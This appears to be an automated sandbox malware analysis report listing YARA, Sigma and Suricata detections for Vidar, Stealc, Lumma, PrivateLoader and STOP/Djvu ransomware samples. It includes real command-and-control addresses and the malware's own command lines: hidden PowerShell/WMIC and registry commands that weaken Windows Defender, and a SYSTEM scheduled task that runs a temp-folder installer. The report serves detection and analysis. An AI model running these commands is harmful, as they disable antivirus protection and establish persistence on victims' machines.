Process Memory Space: oOMgVil3z78TF92yUiI1jBjJ.exe PID: 7876	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegAsm.exe PID: 7964	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7964	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 7964	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7964	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: RegAsm.exe PID: 8008	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 8008	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 8008	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Install.exe PID: 8120	JoeSecurity_Neoreklami	Yara detected Neoreklami	Joe Security
Process Memory Space: RegAsm.exe PID: 8188	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 8188	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 8188	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 23 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.E7ZgIS5gIvcD0qYA4MsN8rsr.exe.4365570.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
2.2.E7ZgIS5gIvcD0qYA4MsN8rsr.exe.4365570.1.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1be20:$s1: JohnDoe 0x1be28:$s2: HAL9TH
12.2.RegAsm.exe.400000.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
12.2.RegAsm.exe.400000.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1e220:$s1: JohnDoe 0x2b658:$s1: JohnDoe 0x1e228:$s2: HAL9TH
9.2.8G7TUoanzGVBa0kCulY_TPPa.exe.20e15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.2.8G7TUoanzGVBa0kCulY_TPPa.exe.20e15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.2.8G7TUoanzGVBa0kCulY_TPPa.exe.20e15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.2.RegAsm.exe.400000.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
12.2.RegAsm.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1ca20:$s1: JohnDoe 0x1ca28:$s2: HAL9TH
2.2.E7ZgIS5gIvcD0qYA4MsN8rsr.exe.4365570.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
2.2.E7ZgIS5gIvcD0qYA4MsN8rsr.exe.4365570.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1ca20:$s1: JohnDoe 0x1ca28:$s2: HAL9TH
9.2.8G7TUoanzGVBa0kCulY_TPPa.exe.20e15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.2.8G7TUoanzGVBa0kCulY_TPPa.exe.20e15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.2.8G7TUoanzGVBa0kCulY_TPPa.exe.20e15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Click to see the 9 entries

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True, CommandLine: "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True, CommandLine|base64offset|contains: <, Image: C:\Windows\SysWOW64\wbem\WMIC.exe, NewProcessName: C:\Windows\SysWOW64\wbem\WMIC.exe, OriginalFileName: C:\Windows\SysWOW64\wbem\WMIC.exe, ParentCommandLine: powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5804, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True, ProcessId: 5868, ProcessName: WMIC.exe

Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /CREATE /TN "bGRMUcRlXIkCKIeoVz" /SC once /ST 00:18:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe\" u3 /hggdidOLc 525403 /S" /V1 /F, CommandLine: schtasks /CREATE /TN "bGRMUcRlXIkCKIeoVz" /SC once /ST 00:18:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe\" u3 /hggdidOLc 525403 /S" /V1 /F, CommandLine|base64offset|contains: mj,, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: .\Install.exe /GKndidLyIt "525403" /S, ParentImage: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe, ParentProcessId: 8120, ParentProcessName: Install.exe, ProcessCommandLine: schtasks /CREATE /TN "bGRMUcRlXIkCKIeoVz" /SC once /ST 00:18:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe\" u3 /hggdidOLc 525403 /S" /V1 /F, ProcessId: 7792, ProcessName: schtasks.exe

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force", CommandLine: "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: .\Install.exe /GKndidLyIt "525403" /S, ParentImage: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe, ParentProcessId: 8120, ParentProcessName: Install.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C power

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Suspicious desktop.ini Action

Source: File created

Author: Maxime Thiebaut (@0xThiebaut), Tim Shelton (HAWK.IO): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe, ProcessId: 7308, TargetFilename: C:\$RECYCLE.BIN\S-1-5-18\desktop.ini

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True, CommandLine: powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7288, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True, ProcessId: 5804, ProcessName: powershell.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:18:38.110109+0200
SID:	2803274
Severity:	2
Source Port:	49810
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Lumma Stealer Related Activity - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:18:04.165776+0200
SID:	2049836
Severity:	1
Source Port:	49784
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:18:04.165776+0200
SID:	2054653
Severity:	1
Source Port:	49784
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE PrivateLoader CnC Activity (GET) - Source IP: 192.168.2.4 - Destination IP: 195.10.205.48

Timestamp:	2024-08-30T06:16:56.977286+0200
SID:	2054709
Severity:	1
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 46.8.231.109

Timestamp:	2024-08-30T06:17:23.191080+0200
SID:	2803304
Severity:	3
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 193.176.190.41

Timestamp:	2024-08-30T06:18:14.776894+0200
SID:	2803304
Severity:	3
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-08-30T06:17:34.237719+0200
SID:	2055479
Severity:	1
Source Port:	55794
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Related Activity - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:18:13.869732+0200
SID:	2049836
Severity:	1
Source Port:	49802
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:18:13.869732+0200
SID:	2054653
Severity:	1
Source Port:	49802
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc Submitting System Information to C2 - Source IP: 192.168.2.4 - Destination IP: 46.8.231.109

Timestamp:	2024-08-30T06:17:18.052597+0200
SID:	2044248
Severity:	1
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:18:07.718664+0200
SID:	2055493
Severity:	1
Source Port:	49793
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config - Source IP: 46.8.231.109 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T06:17:17.267650+0200
SID:	2044245
Severity:	1
Source Port:	80
Destination Port:	49745
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.4 - Destination IP: 147.45.44.104

Timestamp:	2024-08-30T06:17:03.353238+0200
SID:	2803270
Severity:	2
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 147.45.44.104

Timestamp:	2024-08-30T06:17:32.454906+0200
SID:	2803304
Severity:	3
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 147.45.68.138 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T06:17:40.220502+0200
SID:	2044247
Severity:	1
Source Port:	80
Destination Port:	49756
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 147.45.44.104

Timestamp:	2024-08-30T06:18:01.197423+0200
SID:	2803304
Severity:	3
Source Port:	49782
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 193.176.190.41

Timestamp:	2024-08-30T06:18:16.274118+0200
SID:	2803304
Severity:	3
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Submitting Screenshot to C2 - Source IP: 192.168.2.4 - Destination IP: 193.176.190.41

Timestamp:	2024-08-30T06:18:21.405279+0200
SID:	2044249
Severity:	1
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:18:56.089108+0200
SID:	2803274
Severity:	2
Source Port:	49812
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 46.8.231.109 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T06:17:17.461751+0200
SID:	2044247
Severity:	1
Source Port:	80
Destination Port:	49745
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Lumma Stealer Domain in TLS SNI (locatedblsoqp .shop) - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	2024-08-30T06:17:34.710566+0200
SID:	2055489
Severity:	1
Source Port:	49753
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Related Activity M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	2024-08-30T06:17:36.752036+0200
SID:	2049812
Severity:	1
Source Port:	49755
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	2024-08-30T06:17:36.752036+0200
SID:	2054653
Severity:	1
Source Port:	49755
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 147.45.68.138 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T06:17:41.517699+0200
SID:	2051831
Severity:	1
Source Port:	80
Destination Port:	49756
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 193.176.190.41

Timestamp:	2024-08-30T06:18:07.271414+0200
SID:	2044243
Severity:	1
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE PrivateLoader CnC Activity (POST) - Source IP: 192.168.2.4 - Destination IP: 195.10.205.48

Timestamp:	2024-08-30T06:17:01.830164+0200
SID:	2054711
Severity:	1
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.4 - Destination IP: 147.45.44.104

Timestamp:	2024-08-30T06:17:04.704358+0200
SID:	2803270
Severity:	2
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST - Source IP: 192.168.2.4 - Destination IP: 147.45.68.138

Timestamp:	2024-08-30T06:17:39.448418+0200
SID:	2049087
Severity:	1
Source Port:	49756
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (awwardwiqi .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-08-30T06:18:01.748505+0200
SID:	2055575
Severity:	1
Source Port:	55149
Destination Port:	53
Protocol:	UDP
Classtype:	Domain Observed Used for C2 Detected

ET MALWARE Lumma Stealer Related Activity - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	2024-08-30T06:17:35.126456+0200
SID:	2049836
Severity:	1
Source Port:	49753
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	2024-08-30T06:17:35.126456+0200
SID:	2054653
Severity:	1
Source Port:	49753
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Related Activity M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:18:18.732124+0200
SID:	2049812
Severity:	1
Source Port:	49805
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:18:18.732124+0200
SID:	2054653
Severity:	1
Source Port:	49805
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 147.45.44.104

Timestamp:	2024-08-30T06:17:59.027511+0200
SID:	2803304
Severity:	3
Source Port:	49782
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Vidar Stealer Form Exfil - Source IP: 192.168.2.4 - Destination IP: 95.164.119.162

Timestamp:	2024-08-30T06:18:05.396643+0200
SID:	2054495
Severity:	1
Source Port:	49786
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.4 - Destination IP: 46.8.231.109

Timestamp:	2024-08-30T06:17:17.221376+0200
SID:	2044244
Severity:	1
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Lumma Stealer Domain in TLS SNI (locatedblsoqp .shop) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:18:14.363672+0200
SID:	2055489
Severity:	1
Source Port:	49803
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:19:03.477473+0200
SID:	2803274
Severity:	2
Source Port:	49813
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 147.45.68.138 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T06:18:13.674396+0200
SID:	2051831
Severity:	1
Source Port:	80
Destination Port:	49796
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.4 - Destination IP: 46.8.231.109

Timestamp:	2024-08-30T06:17:17.438990+0200
SID:	2044246
Severity:	1
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.4 - Destination IP: 193.176.190.41

Timestamp:	2024-08-30T06:18:07.726343+0200
SID:	2044246
Severity:	1
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 193.176.190.41

Timestamp:	2024-08-30T06:18:13.537395+0200
SID:	2803304
Severity:	3
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Observed Lumma Stealer Related Domain (awwardwiqi .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:18:02.222056+0200
SID:	2055576
Severity:	1
Source Port:	49783
Destination Port:	443
Protocol:	TCP
Classtype:	Domain Observed Used for C2 Detected

ET MALWARE Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.4 - Destination IP: 193.176.190.41

Timestamp:	2024-08-30T06:18:07.492651+0200
SID:	2044244
Severity:	1
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Lumma Stealer Domain in TLS SNI (locatedblsoqp .shop) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:18:03.693909+0200
SID:	2055489
Severity:	1
Source Port:	49784
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 46.8.231.109

Timestamp:	2024-08-30T06:17:24.907743+0200
SID:	2803304
Severity:	3
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 46.8.231.109

Timestamp:	2024-08-30T06:17:18.253321+0200
SID:	2803304
Severity:	3
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-08-30T06:17:35.129336+0200
SID:	2055483
Severity:	1
Source Port:	65042
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 147.45.68.138 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T06:18:11.745499+0200
SID:	2044247
Severity:	1
Source Port:	80
Destination Port:	49796
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 193.176.190.41

Timestamp:	2024-08-30T06:18:08.675243+0200
SID:	2803304
Severity:	3
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Observed Lumma Stealer Related Domain (awwardwiqi .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	2024-08-30T06:17:33.722435+0200
SID:	2055576
Severity:	1
Source Port:	49752
Destination Port:	443
Protocol:	TCP
Classtype:	Domain Observed Used for C2 Detected

ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:18:15.611037+0200
SID:	2055493
Severity:	1
Source Port:	49804
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config - Source IP: 193.176.190.41 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T06:18:07.552012+0200
SID:	2044245
Severity:	1
Source Port:	80
Destination Port:	49790
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE PrivateLoader CnC Response - Source IP: 195.10.205.48 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T06:17:00.563664+0200
SID:	2054710
Severity:	1
Source Port:	80
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

